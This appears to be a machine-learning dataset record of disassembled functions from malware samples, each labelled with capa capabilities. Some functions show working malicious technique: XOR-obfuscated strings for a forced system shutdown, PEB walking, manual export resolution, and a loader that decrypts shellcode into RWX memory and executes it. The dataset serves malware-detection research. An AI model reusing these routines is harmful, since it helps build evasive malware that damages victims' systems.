joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400065c0
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
sub rsp, 0x68
movabs rdi, 0x6f64747568536553
movabs rsi, 0x5aca5bfdcf2fce59
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
xor rax, rdi
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
movabs rcx, 0x6c69766972506e77
xor rcx, rax
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
xor rax, 0x656765
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x20], 3
mov rax, qword [rsp + 0x20]
test rax, rax
je 0x140006657
xor eax, eax
nop word [rax + rax]
mov rcx, qword [rsp + 0x30]
xor qword [rsp + rax*8 + 0x50], rcx
inc rax
mov rcx, qword [rsp + 0x20]
cmp rax, rcx
jb 0x140006640
lea rcx, [rsp + 0x50]
mov dl, 1
call fcn.140001170
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
add rdi, 0xefb
xor rdi, rax
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x20], rsi
mov rax, qword [rsp + 0x20]
movabs rcx, 0x6d65747379536e77
xor rcx, rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x20], rsi
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], 3
mov rax, qword [rsp + 0x28]
test rax, rax
je 0x1400066e7
xor eax, eax
nop word cs:[rax + rax]
mov rcx, qword [rsp + 0x20]
xor qword [rsp + rax*8 + 0x30], rcx
inc rax
mov rcx, qword [rsp + 0x28]
cmp rax, rcx
jb 0x1400066d0
mov qword [rsp + 0x20], rsi
mov rax, qword [rsp + 0x20]
movabs rcx, 0x6c6c64746e
xor rcx, rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], 1
mov rax, qword [rsp + 0x28]
test rax, rax
je 0x140006737
xor eax, eax
nop dword [rax]
mov rcx, qword [rsp + 0x20]
xor qword [rsp + 0x48], rcx
inc rax
mov rcx, qword [rsp + 0x28]
cmp rax, rcx
jb 0x140006720
lea rcx, [rsp + 0x48]
call entry0
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.140001090
mov ecx, 1
call rax
lea rcx, [rsp + 0x50]
xor edx, edx
call fcn.140001170
nop
add rsp, 0x68
pop rdi
pop rsi
ret
Function at 0x1405d5c8d
Capabilities:
Packed with generic packer

Disassembly:
lea rsi, [rsi + 0x2eaac52e]
seta byte [rsp + 8]
call fcn.1408134aa
or esi, dword [rdx + 0x401f0f]
pushfq
shr word [rsp + 0x10], 0x91
sub byte [rsp + 0x10], 0x2b
add dword [rsp + 0x10], 0x580a4e1b
mov qword [rsp + 0x10], rcx
push r14
je 0x1405e44fe
movabs r14, 0x951d6910f4bd4431
shr r14w, 0x6e
not r14w
add qword [rsp + 0x10], 0x66bf3
push rsi
movabs rcx, 0x8010572e193e7c00
jbe 0x140a9346a
neg r15w
setne byte [rsp + 0x28]
sub dword [rsp + 0x28], r15d
add qword [rsp], 0x29aa35
mov rdi, qword [rsp + 0x50]
mov r10, r15
add r10w, r10w
jl 0x140a03d79
sub r15w, 0x7dbb
jo 0x14082d476
shl qword [rsp + 0x28], 0x10
or qword [rsp + 0x28], 0x149cbd3d
add r15d, r10d
mov r10, qword [rsp + r15 - 0x4b014b35]
test byte [rsp + r15 - 0x4b014b15], 0x2e
je 0x14093a249
pushfq
invalid
sete r9b
or r9b, 0x20
add qword [rsp], 0x293576
mov qword [rsp + 8], r9
neg byte [rsp + 8]
mov rsi, qword [rsp + 8]
cmp r9, 0x1d9ca5a1
ja 0x1408e578f
push rbx
mov bl, 0x42
invalid
js 0x140007f99
test si, si
test r9, r9
mov rsi, qword [rsp]
mov rsi, qword [rsi]
mov qword [rsp], r9
jno 0x1408b659a
jle 0x1408ca25a
setbe byte [rsp + r15 - 0x4b014b1d]
call fcn.14082fed4
Function at 0x1405d897a
Capabilities:
Packed with generic packer

Disassembly:
js 0x1405e455c
call fcn.14090983d
push r10
mov qword [rsp], 0xffffffffc0f18a3f
call fcn.140bac8b5
outsb dx, byte [rsi]
add qword [r14], rax
add al, byte [rax]
invalid

Function at 0x1405e44eb
Capabilities:
Packed with generic packer

Disassembly:
or qword [rsp + 0x28], 0xffffffffd7ad582c
xchg qword [rsp + 0x58], rsi
mov r11, qword [rsp + 0x38]

Function at 0x14078a974
Capabilities:
Encode data using xor

Disassembly:
lea rax, [rax - 0x46ddb9c7]
je 0x1408dca1c
push r13
jns 0x140aa5a76
mov r13, rdi
push rsi
xchg qword [rsp + 0x90], rax
mov r13, qword [rsp + 8]
add dword [rsp + rdx - 0x5dffff88], edx
sub ebp, dword [rsp + rdx - 0x5dffff85]
call fcn.1405d0851
mov bh, 0x89
mov bh, 0x8d
and edi, dword [rax - 0x2b]
js 0x14078a99f
add byte [rdx + 0x7b14ac2b], ah
add byte [rax], al
movabs byte [0xb789b7ffe45ea4e8], al
lea esp, [rbx]
js 0x14078a989
loop 0x14078aa30
jg 0x14078a99d
fadd dword [0x15aa91658]
in al, 0xba
cdq
int 0x3f
mov r12b, 0xe6
add bl, byte [riz*2 + 0x4df7650e]
invalid
retf 0x5dd1
rcl byte [rdx + 2], cl
mov ebp, 0x2a62c39b
mov al, 0x9b
shld dword [rcx + 0x28a3cc99], edx, cl
adc dword [rbp - 0x61f48785], edx
jne 0x14078aa1a
movabs dword [0x759e0b787b951128], eax
ror dword [0x1990d43b0], 1
or eax, 0x58949962
mov ebx, 0x31f5bcf3
jl 0x14078aa3f
xor eax, 0x58c05ea5
stosd dword [rdi], eax
push rsp
xor dword [rcx - 0xd6500ba], esi
outsd dx, dword [rsi]
invalid

Function at 0x14078cc40
Capabilities:
Encode data using xor

Disassembly:
add qword [rsp + 8], 0xffffffffbf63308a
push qword [rsp + 0x10]
popfq
lea rsp, [rsp + 0x20]
call fcn.140accf2e
xor eax, 0x88b5e3c3
or al, 0xda
xlatb
xor eax, 0xd4baaa02
xor eax, 0x23e3be0
xchg rdi, rax
invalid

Function at 0x1408489fd
Capabilities:
Packed with generic packer

Disassembly:
add qword [rsp + 0x10], 0xffffffffbf7d0213
movsx r13d, byte [rsp + 0x23]
mov rbx, qword [rsp + r13*2 - 0x26]
mov r13d, r11d
add qword [rsp], 0xffffffffbfa313fe
call fcn.140941ba1
xor dl, r12b
mov r12, qword [rsp + rdx*2 - 0x5dd8]
neg dl
ja 0x1405e8e28
call int.1408a42d4
cmp eax, 0x3020100
add al, 5
invalid
jne fcn.140737b63
shl qword [rsp + 0x10], 0x1b
xchg qword [rsp + 0x28], rbp
push qword [rsp + 0x18]
popfq
lea rsp, [rsp + 0x28]
ret
jno 0x1409d8941
jne 0x1405d5c65
je 0x1405dad3b
and dword [rsp + 0x48], 0x4b1f1ba
or byte [rsp + 0x48], 0x82
push qword [rsp + 0x38]
popfq
lea rsp, [rsp + 0x50]
ret

Function at 0x14089a38b
Capabilities:
Packed with generic packer

Disassembly:
not r11d
jno 0x14094548c
jns 0x140792920
mov r11, qword [rsp + r11 - 0x74f495cd]
mov qword [rsp + 0x18], rcx
push r15
movabs r15, 0xc6a9bf8bca30b117
xor r15d, r15d
ja 0x14000814b
call fcn.140a38452
xchg esi, eax
out dx, al
movabs dword [0xdf542b1a3f23e601], eax
xor eax, 0x52c37bea
invalid
Function at 0x1408bd143
Capabilities:
Packed with generic packer

Disassembly:
jns 0x1409bbda7
call fcn.1407371e4
not byte [rsp + 0x58]
mov r11, qword [rsp + 0x30]
mov ebx, dword [rsp + 0x30]
not qword [rsp + 0x50]
jns 0x140001005
test r9, 0xffffffffb884ba2b
setle r9b
xor r9w, r9w
nop
shl r9d, 0x24
jb 0x1405d9027
imul ecx, ebp, 0xffffffe8
jl 0x1408bd19e
mov edi, 0xe49abdc3
jno 0x1408bd148
invalid
in al, 0x79
sbb eax, 0x5c4161ba
or al, byte [rbp + 0x7c]
loop 0x1408bd20b
in eax, 0x65
outsb dx, byte [rsi]
sub dword [rsp + rsi*4 - 0x63b0f966], edx
invalid
movabs dword [0x7d9db2149dd13a53], eax
invalid
shr qword [rsp + 0x40], 0xec
or qword [rsp + 0x40], 0xfffffffff6175822
push qword [rsp + 0x60]

Function at 0x1408e1834
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], 0x39fe72a0
lea rsp, [rsp + 0x10]
call fcn.140bf9109
mov qword [rsp], 0x52f0ca20
call fcn.140bf9109
xor dword [rax], eax
test al, 0x26
out dx, al
pop rdx
mov spl, 0x4c
out dx, al
pop rdi
je 0x1408e1853
xchg ecx, eax
xchg ecx, eax
sar dword [rdi], cl
adc ebp, dword [rcx + rdx*4 - 0x508c5eeb]
xchg ecx, eax
xchg ebx, eax
invalid

Function at 0x140925673
Capabilities:
Encode data using xor

Disassembly:
pop rax
push rsi
pushfq
movabs rsi, 0x6b07ea1f89f593f
lea rsi, [rsi + riz + 0x1324b38f]
sub esi, 0xccb3f628
lea rsi, [rsi*8 - 0x284d2973]
bswap esi
shr sil, 7
xchg qword [rsp + 0x10], rax
jbe 0x1409a78b4
outsd dx, dword [rsi]
mov edi, 0x8b08f09b
mov esi, dword [rdx - 0x71]
xchg dword [rbp - 0x22f0b75f], esi
pop rsp
invalid
lea rsi, [rsi*4 - 0x6251255a]
shl si, 0x64
jbe 0x1407fd061
mov rsi, qword [rsp + 8]
mov qword [rsp + 8], rax
push rbx
movabs rbx, 0x56bbda3cb296b5b9
or ebx, 0x7e29dbaa
push r13
call fcn.140009305
Function at 0x14093a257
Capabilities:
Packed with generic packer

Disassembly:
add qword [rsp + 8], 0x4bd949
movabs rax, 0x6a1da2819024b322
bswap rax
cmp al, 0x23
js 0x1409d1224
and eax, eax
mov rax, qword [rsp + 8]
mov rax, qword [rax]
jle 0x1408907f5
jmp 0x148224744
lea rax, [rax + 0x7d19c10b]
jle 0x1408cb318
and r14, 0x110d49f
cmova rbp, r9
call fcn.1409cc167
sub r11w, r11w
mov qword [rsp + r11*2 + 0x20], r11
test qword [rsp + r8*4 + 0x40020], 0xffffffffe40c371d
call fcn.1405d01f0
mov qword [rsp + 8], 0xffffffffd63f3c38
push rdi
mov rdi, qword [rsp + 0x10]
jle 0x1405f6f40
jg 0x140737bc2
jbe 0x14078e5a4
xchg qword [rsp + rdi + 0x29c0c3e0], rax
mov rdi, qword [rsp + rdi*2 + 0x53818790]
add word [rsp + 0x10], 0x3090
setle byte [rsp + 0x10]
test qword [rsp + 0x10], 0xffffffffc908d39d
jge 0x1409162d5
call fcn.1405e3b80
sub r8, r8
movabs rdi, 0xdad960c2999159d
add qword [rsp], 0xffffffffbf6b315f
mov rdi, qword [rsp + r8*8 + 0x18]
mov rdi, qword [rdi + r8]
call int.140a22f2b
shl dword [rbx - 0xb], 0x33
cdq
mov word [rax + 0x7fea2e84], ds
xlatb
test byte [rsi], cl
js 0x14091633a
test byte [rsi], ch
invalid
jnp 0x140916377
xor ebp, eax
push rsi
push rdi
mov gs, word [rsi - 0x53]
jno 0x140916307
xchg esi, eax
invalid
invalid
cmp bl, bl
xchg esp, eax
rcl dword [rcx + 0x250cdca9], 0xcf
or bh, byte [rsi + 0x54]
invalid
jg 0x140008293
movzx si, sil
neg r9w
lea rax, [rax + r9 + 0x9ff51b4]
setns r9b
shr sil, 0x84
add qword [rsp + 8], 0xffffffffbf56f73d
shr r14b, 0xa2
jbe 0x140a81681
xor r9d, dword ds:[rdi]
push rdx
invalid
mov r9d, 0x6d90d42e
movabs rax, 0x130d9421d735bf23
push rdi
mov rax, qword [rsp + 0x40]
mov rax, qword [rax]
movabs rdi, 0x6015a69db3a1bf81
and r9b, 0x33
or r14, 0xffffffffa7a9c49e
jne 0x14092e546
adc al, 0x38
push rdx
invalid
mov rdi, qword [rsp + 0x20]
mov rdi, qword [rdi]
sub r11d, r11d
not r8w
shr r8w, 0x79
jns 0x1407945ee
js 0x1409d11da
movsb byte [rdi], byte [rsi]
repne cmpsb byte [rsi], byte [rdi]
mul ebp
mov ebp, 0x68570a0a
cmc
cwde
pcmpeqb mm7, qword [rbx - 0x3c5a95f6]
or rax, 0x7702ef9d
cmc
fcom qword [rcx]
mov r14d, 0x9e0a21f2
and dword [rdx], ecx
sahf
test eax, 0xd42ef2
mov edx, 0x61058b0a
sub dh, ch
jle 0x1409d1210
xchg dword [rdi + 0x2775dff2], edx
mov al, 0xa
jmp 0x1409d124c
movsx r14w, dil
xchg qword [rsp + 0x48], rax
mov rsi, qword [rsp + r14 + 0x185000a7]
call fcn.1407928de
invalid

Function at 0x1409ee302
Capabilities:
Encode data using xor

Disassembly:
push r10
pushfq
movabs r10, 0x3827ef8a04a73808
sub r10w, 0xf22d
movabs r10, 0x57b794a1fab95d0d

Function at 0x140a58c3d
Capabilities:
Encode data using xor

Disassembly:
lea rbp, [r13 + rbp - 0x1b5e6c00]
call fcn.1409bafa9
call fcn.14081b0b9
or ebp, 0x9285bc8b
mov rdi, rbp
lea rdi, [r13 + r13*4 + 0x74949ba5]
xchg qword [rsp + r13 - 0x6a0affd8], rbx
mov rdi, qword [rsp + r13 - 0x6a0afff8]
jae 0x14087db13
mov dh, byte [rcx + rax - 0x32d99df1]
pop rcx
int 0x59
or eax, dword [rbx + 0x47]
popfq
xlatb
mov esp, 0x30fb5ae8
mov cl, 0xb5
or byte [rdx - 0x601c0542], r8b
fld qword [rsi]
xor bl, byte [rcx]
jo 0x140a58c6a
add al, byte ss:[rbp - 0x7e]
pop rbp
sbb dword [rsi], edx
jnp 0x140a58cfe
jmp 0xd8416cf2
invalid
Function at 0x140a5ad63
Capabilities:
Encode data using xor

Disassembly:
jge 0x1405dbe83
shr r13d, 0xe2
sub al, 0xb4
mov eax, 0x7e316aa1
mov rax, qword [rsp + rax - 0x7e316a91]
mov rax, qword [rax + r13*2 - 0x7a6a8d44]
jb 0x140a6674f
mov rsp, r11
pop rdi
ret
shl qword [rsp + 0x28], 0xda
mov rbx, r13
shr dword [rsp + 0x28], 0x9b
shl r13b, 0xca
mov rsi, rbx
add byte [rsp + 0x28], r13b
movabs rbx, 0x6ca69a0ef49a478e
call fcn.140a2a6ee
add dword [rax], eax
add byte [rax], al
push rcx
pushfq
movabs rcx, 0x31b516021cb46307
shr cx, cl
call fcn.140854b42
sbb eax, dword [rcx - 0x78]
mov al, byte [rbx]
rol byte [rdx + 0xc], cl
xchg r13, rax
push rbp
mov al, 0x15
xor eax, 0x554951d3
jrcxz 0x1405dbe6b
adc ch, byte [rdx + rsi*4 - 0x57212473]
sub eax, 0x6dfcae34
invalid
stc
test al, 0xaa
invalid
pushfq
movabs r13, 0xbbb23e1511bec0a7
call fcn.140929fb2
mov ebp, 0x11bec0a7
adc eax, 0xe8bbb23e
sub al, 0xae
sbb al, byte [rax]
out 0xf, al
xchg edi, eax
adc eax, dword [rcx]
jge 0x14077f178
in al, dx
cmpsb byte [rsi], byte [rdi]
mov ecx, 0x5ccc8822
push rsi
sbb edx, dword [rax]
adc al, 0
movsb byte [rdi], byte [rsi]
rcl dword [rbx - 0x6ea2ac59], 0x57
jrcxz 0x14077f14b
mov ebp, 0x8670f368
xchg edx, eax
invalid
add r13d, dword [rsp + r13 - 0x3d350078]
xor byte [rsp + r13*2 - 0x7a6a0180], 0xbe
lea r13, [r13*2 - 0x7754f0fc]
shr dword [rsp + r13*8 - 0x18a88490], 0xa2
xchg qword [rsp + r13*2 - 0x62a2110], rax
mov r13, qword [rsp + r13 - 0x315108c]
call fcn.140002c90
xor dword [rsp + 0x18], 0x543c0432
jo 0x14077f176
push qword [rsp + 0x38]
popfq
lea rsp, [rsp + 0x58]
ret
movabs r13, 0x609b501fed92d838
test r13d, 0xd3097c2a
jns 0x140007f00
mov r14, r13
mov rdi, qword [rsp + 0x38]
mov rdi, qword [rdi]
lea r14, [r14 + r13*2 + 0x3d3801a3]
mov qword [rsp + 0x38], r14
test r13, 0xffffffffaebbbe20
lea rdi, [rdi + 0x2285d50c]
setno r14b
jne 0x1408f6bd2
jp 0x14099b526
and ch, byte [rbx - 0x72]
fmul dword [rax]
xchg ebx, eax
jnp 0x14099b508
sbb edi, eax
clc
insb byte [rdi], dx
xor eax, 0x937b965c
sbb esp, 0xd6cfe8a
out 0x3d, al
or ch, byte [rbx - 0x30]
movsb byte [rdi], byte [rsi]
cld
xor dl, byte [rbx - 0x44215e5]
xchg esp, eax
lock or dword [rax - 0x14], esp
xchg esp, eax
adc eax, 0x6cfffef7
rol byte [rsi - 0x61], 0x6f
xchg ebx, eax
dec eax
jns 0x14099b4dd
mov bh, dh
insb byte [rdi], dx
or eax, 0x6b0a3de6
shl byte [rsp + rdi*8 - 0x15e46cce], 1
mov ebp, 0x9f094fb
invalid
enter 0xffffffffffffd279, 0xffffffffffffff94
xchg esp, eax
movsb byte [rdi], byte [rsi]
invalid
push rax
pop rbp
or eax, 0xa3868b3f
movsb byte [rdi], byte [rsi]
jle 0x14099b4e6
push rbx
invalid
setno byte [rsp + rbx - 0x31]
lea rbx, [rbx + rbx*2 + 0x6135ffe]
mov rbx, qword [rsp + rbx - 0x61360a9]
jl 0x14099b48a
cmp byte [rsp + 0x18], 0xa5
jns 0x14089c675
and dword [0x1b4aaad94], eax
invalid
mov qword [rsp + r13*2 - 0x7a6a8d34], r13
mov byte [rsp + r13*2 - 0x7a6a8d34], 0x19
movzx r13w, r13b
seto byte [rsp + r13*2 - 0x7a6a0134]
or word [rsp + r13*2 - 0x7a6a0134], 0x61f
lea rax, [rax + r13 - 0x3d75b47c]
xor r13b, 0x29
jae 0x14086ba44
push rax
Function at 0x140a83c89
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + rbx + 0x38], rdx
not dl
push 0x18adb004
xor bl, bh
mov dword [rsp + rbx + 0x38], ebx
xor byte [rsp + rbx], 0x20
pop rdx
movabs rcx, 0x3d2a673c2418bf21
xor rdx, qword [rsp + rdx*4 - 0x62b6c060]
xor edx, dword [rsp + rdx*4 - 0x62b6c060]
mov rcx, qword [rsp + rdx*2 - 0x315b6010]
mov rcx, qword [rcx + rdx*4 - 0x62b6c090]
shl bl, 0xc8
and bx, word [rsp + rbx*4 + 0x34]
jbe 0x1407f8e4c
enter 0x6e1b, 0xffffffffffffff8d
jno 0x140a83d1c
mov ebp, 0x168a652a
jg 0x140a83cab
idiv dword [r11 + 0x5a]
fdivr qword [rdx + 0x33677032]
invalid
mov edx, 0x3a30364c
invalid

Function at 0x140a95775
Capabilities:
Encode data using xor

Disassembly:
xor r15w, 0x731a
mov r15, qword [rsp + 0x18]
mov qword [rsp + 0x18], 0xffffffff8a45e1ef
push qword [rsp + 0x10]
popfq
lea rsp, [rsp + 0x18]
call fcn.140accf2e
or eax, 0xddcb5c39
out dx, eax
invalid

Function at 0x140aa2cd7
Capabilities:
Encode data using base64
Packed with generic packer

Disassembly:
push r9
pushfq
movabs r9, 0xfd93f21fd3198f92
mov r9w, 0xc334
or r9d, 0xea82931a
mov rdx, qword [rsp + 0x28]
je fcn.1409b9b06
lea r9, [r9 + r9 + 0x481c5a06]
and r9w, r9w
add r9w, 0x77b9
lea rdx, [rdx + 1]
jb 0x140910292
sub r9w, r9w
add qword [rsp + 0x10], 0x423c0a
mov qword [rsp + 0x28], rdx
shr r9w, 0xa1
cmp r9b, 0x3f
jle 0x1408bd157
add dword [0xf2af2d40], eax
add dword [rax - 0x34], esp
or bl, byte [rdx + 0x19]
lodsb al, byte [rsi]
movsb byte [rdi], byte fs:[rsi]
movabs byte [0x73d666a706574426], al
invalid

Function at 0x140c13d4d
Capabilities:
Access peb ldr_data

Disassembly:
push rsi
push rdi
rcr dx, cl
cmp r12d, 0xba23b303
movzx r8, cx
push rbx
mov rax, qword gs:[0x30]
xor r8b, r14b
mov r8w, 0xe985
neg rdx
mov rax, qword [rax + 0x60]
sub r8d, ecx
bts dx, si
rcr dl, 0x98
mov rdx, qword [rax + 0x18]
shr r8w, 0xa1
or r8, r8
add rdx, 0x20
xor r8b, spl
xor r8d, 0xbbbc7791
xor eax, eax
bswap r8w
mov r8w, bx
movzx r8w, sil
mov r8, rdx
jmp 0x140c13db1
jmp 0x140c13dc0
test r11w, r11w
je 0x140c13e95
mov r8, qword [r8]
jmp 0x140c13dcc
cmp r8, rdx
je 0x140c13e9d
test rcx, rcx
jmp 0x140c13ddd
je 0x140c13e95
mov r9, qword [r8 + 0x50]
shl rdi, cl
sar sil, 0xb0
xor r10d, r10d
cmp r15d, eax
nop word [rax + rax]
movsx di, r9b
sbb bx, r8w
rcl dil, 0xb9
movsx esi, byte [rcx + r10]
bsr edi, esi
mov di, r14w
adc di, si
lea edi, [rsi - 0x41]
stc
shl r11b, cl
mov r11d, esi
or bx, 0xcc11
add r11d, 0x20
sbb bx, 0xaaa2
xor rbx, 0xffffffffa1241b3b
movsx rbx, cx
cmp dil, 0x1a
cmovae r11d, esi
cmove rsi, rdx
movzx edi, word [r9 + r10*2]
movzx bx, bpl
lea ebx, [rdi - 0x41]
lea esi, [rdi + 0x20]
test r13b, al
cmp bx, 0x1a
jmp 0x140c13e61
cmovae esi, edi
jmp 0x140c13e69
test r11w, r11w
jmp 0x140c13e72
je 0x140c13db6
inc r10
jmp 0x140c13e81
cmp r11w, si
jmp 0x140c13e8a
je 0x140c13e07
jmp 0x140c13db6
mov rax, qword [r8 + 0x20]
movsx rsi, di
pop rbx
jmp 0x140c13eac
pop rdi
not si
movsx esi, r8w
pop rsi
jmp 0x140c13eba
ret
Function at 0x140c13ebb
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push rsi
xadd r9d, r8d
push rdi
shl r9d, cl
bts r8w, r13w
push rbp
or r8w, 0xcc1a
push rbx
xchg r8w, r9w
rol r9w, cl
jmp 0x140c13ee2
movsxd r9, dword [rcx + 0x3c]
shl r8, cl
mov r8d, dword [r9 + rcx + 0x88]
cmc
test bp, 0x270c
clc
xor eax, eax
cmc
test r8, r8
jmp 0x140c13f03
je 0x140c140b9
cmp dword [r9 + rcx + 0x8c], 0
jmp 0x140c13f17
je 0x140c140b9
mov r9d, dword [r8 + rcx + 0x18]
cmp r8b, cl
test r9, r9
je 0x140c14065
mov r11d, dword [rcx + r8 + 0x20]
rcr rbx, cl
shr r15b, cl
shrd ebp, edi, 0xb7
lea r11, [r11 + rcx]
xor eax, eax
xor r10d, r10d
bts si, bx
shr bpl, 0xa4
shr bpl, cl
nop word cs:[rax + rax]
rcl bl, cl
mov esi, dword [r11 + r10*4]
add r15d, 0xb23ce29d
shl r14w, 0x96
adc r15b, 0xbc
add rsi, rcx
bsf r15w, r12w
sub edi, edi
rol ebx, 0xaa
nop dword [rax]
clc
adc bpl, 0x2c
movsx r14d, byte [rdx + rdi]
shl r15w, cl
or bp, 0x2b3d
ror bx, 7
movsx r15d, byte [rsi + rdi]
bts ebx, r13d
lea ebp, [r14 - 0x41]
sar bx, 0xf
cmp rbx, 0xffffffff8f1c0698
mov ebx, r14d
jmp 0x140c13fbf
add ebx, 0x20
cmp bpl, 0x1a
movzx rbp, r9w
cmovae bp, r10w
cmovae ebx, r14d
mov r14b, spl
bt bp, 0xbb
inc r14b
lea r14d, [r15 - 0x41]
mov ebp, r15d
test r14, 0xffffffffc3b1b887
cmc
add ebp, 0x20
jmp 0x140c13ff5
cmp r14b, 0x1a
bswap r14d
movsx r14d, sp
cmovae ebp, r15d
sbb r14b, bl
movsx r14, bp
rcl r14w, 0xb2
mov r14d, ebx
test dx, cx
cmp dl, cl
or r14w, bp
sete r14b
jmp 0x140c14025
je 0x140c1403c
inc rdi
cmp bx, bp
jmp 0x140c14036
je 0x140c13f8b
test r14b, r14b
jmp 0x140c14044
jne 0x140c14071
inc r10
jmp 0x140c14052
cmp r10, r9
jmp 0x140c1405a
jne 0x140c13f5e
jmp 0x140c140b9
xor eax, eax
jmp 0x140c1406c
jmp 0x140c140b9
mov eax, dword [rcx + r8 + 0x1c]
rol r15w, 0xa8
shl dil, 0x86
mov edx, dword [rcx + r8 + 0x24]
lea rdx, [rdx + rcx]
shrd r8w, bp, 0xa9
mov r8d, r10d
movzx edx, word [rdx + r8*2]
add rax, rcx
btr esi, 0x25
xadd dil, sil
mov eax, dword [rax + rdx*4]
sub r15b, 0x26
btc si, ax
sbb bl, 0x81
add rax, rcx
bswap rsi
movzx edi, r8w
pop rbx
movsxd rdi, r12d
movzx si, dl
pop rbp
not dil
movzx r15d, r11w
pop rdi
not r14
pop rsi
mov r15b, cl
movzx r15w, dil
pop r14
pop r15
jmp 0x140c140df
ret
Function at 0x140001005
Capabilities:
Execute shellcode via indirect call

Disassembly:
jmp 0x140001360
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x560
lea rcx, [rsp + 0x20]
mov r8d, 0x537
lea rdx, [0x140006c80]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, 0xa6e
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, 0x537
lea rdx, [rsp + 0x20]
mov rcx, rax
mov rdi, rax
call sub.VCRUNTIME140.dll_memcpy
mov r9d, 2
lea r8, [rdi + 1]
mov r10d, 0x10b
lea r11, str.cADxzKH7Vhr
nop dword [rax]
lea ecx, [r9 - 2]
mov eax, 0x2aaaaaab
imul ecx
lea r8, [r8 + 5]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
movsxd rax, ecx
lea ecx, [r9 - 1]
movzx eax, byte [rax + r11]
xor byte [r8 - 6], al
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 5], al
mov eax, 0x2aaaaaab
imul r9d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r9d
lea ecx, [rdx + rdx*2]
shl ecx, 2
sub eax, ecx
movsxd rcx, eax
movzx eax, byte [rcx + r11]
lea ecx, [r9 + 1]
xor byte [r8 - 4], al
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
movsxd rax, ecx
lea ecx, [r9 + 2]
add r9d, 5
movzx eax, byte [rax + r11]
xor byte [r8 - 3], al
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 2], al
sub r10, 1
jne 0x1400013c0
mov edx, 0x537
lea rcx, str.___Allocating__d_bytes_of_memory_n
call fcn.1400010b9
xor ecx, ecx
mov edx, 0x537
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x1400014e0
mov eax, 0xffffffff
mov rbx, qword [rsp + 0x570]
add rsp, 0x560
pop rdi
ret
mov r8d, 0x537
mov rdx, rdi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
test rbx, rbx
setne al
test al, al
jne 0x14000151d
lea rcx, str.____Oh_gosh__something_went_wrong__n
call fcn.1400010b9
mov eax, 0xfffffffe
mov rbx, qword [rsp + 0x570]
add rsp, 0x560
pop rdi
ret
lea rcx, str.___Executing_n
call fcn.1400010b9
call rbx
xor edx, edx
lea rcx, str.___The_shellcode_finished_with_a_return_value:__08X_n
call fcn.1400010b9
mov rbx, qword [rsp + 0x570]
xor eax, eax
add rsp, 0x560
pop rdi
ret
Function at 0x14000100f
Capabilities:
Terminate process

Disassembly:
jmp 0x140001a9c
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov ecx, 1
call fcn.14000116d
test al, al
je 0x140001963
xor sil, sil
mov byte [rsp + 0x20], sil
call fcn.1400010eb
mov bl, al
mov ecx, dword [0x140008160]
cmp ecx, 1
je 0x14000196e
test ecx, ecx
jne 0x140001899
mov dword [0x140008160], 1
lea rdx, [0x140006660]
lea rcx, [0x140006330]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
test eax, eax
je 0x14000187a
mov eax, 0xff
jmp 0x140001953
lea rdx, [0x140006220]
lea rcx, [section..rdata]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [0x140008160], 2
jmp 0x1400018a1
mov sil, 1
mov byte [rsp + 0x20], sil
mov cl, bl
call fcn.1400011a4
call fcn.1400010c3
mov rbx, rax
cmp qword [rax], 0
je 0x1400018d4
mov rcx, rax
call fcn.140001118
test al, al
je 0x1400018d4
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [rbx]
call qword [0x14000b010]
call fcn.1400010e6
mov rbx, rax
cmp qword [rax], 0
je 0x1400018f6
mov rcx, rax
call fcn.140001118
test al, al
je 0x1400018f6
mov rcx, qword [rbx]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argv
mov rdi, qword [rax]
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argc
mov rbx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_initial_narrow_environment
mov r8, rax
mov rdx, rdi
mov ecx, dword [rbx]
call fcn.140001096
mov ebx, eax
call fcn.140001154
test al, al
